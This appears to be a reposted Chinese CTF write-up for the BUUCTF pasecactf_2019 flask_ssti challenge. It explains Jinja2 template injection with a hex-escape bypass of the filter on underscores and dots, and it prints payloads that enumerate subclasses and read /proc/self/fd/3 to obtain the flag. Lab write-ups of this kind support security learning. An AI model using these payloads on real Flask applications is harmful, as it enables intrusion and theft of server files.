vlambda博客
学习文章列表

buuctf pasecactf_2019]flask_ssti-解题步骤详解

1.测试存在ssti

buuctf pasecactf_2019]flask_ssti-解题步骤详解

2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过

buuctf pasecactf_2019]flask_ssti-解题步骤详解

3.寻找基类

buuctf pasecactf_2019]flask_ssti-解题步骤详解


4.寻找可用引用

{undefined{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}

buuctf pasecactf_2019]flask_ssti-解题步骤详解

5.接下来就是开始一系列利用了(基础不是很好,后面的待填坑)一些大佬的方法:

buuctf pasecactf_2019]flask_ssti-解题步骤详解

{undefined{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

buuctf pasecactf_2019]flask_ssti-解题步骤详解

自己的一些总结:使用[]好像可以自动补.号

以下是等价的

{{"".__class__}}{{""["\x5f\x5fclass\x5f\x5f"]}}

原文来自CSDN博主「qq_40800734」|侵





buuctf pasecactf_2019]flask_ssti-解题步骤详解

buuctf pasecactf_2019]flask_ssti-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习buuctf pasecactf_2019]flask_ssti-解题步骤详解buuctf pasecactf_2019]flask_ssti-解题步骤详解。想加入我们就给我们留言吧buuctf pasecactf_2019]flask_ssti-解题步骤详解

buuctf pasecactf_2019]flask_ssti-解题步骤详解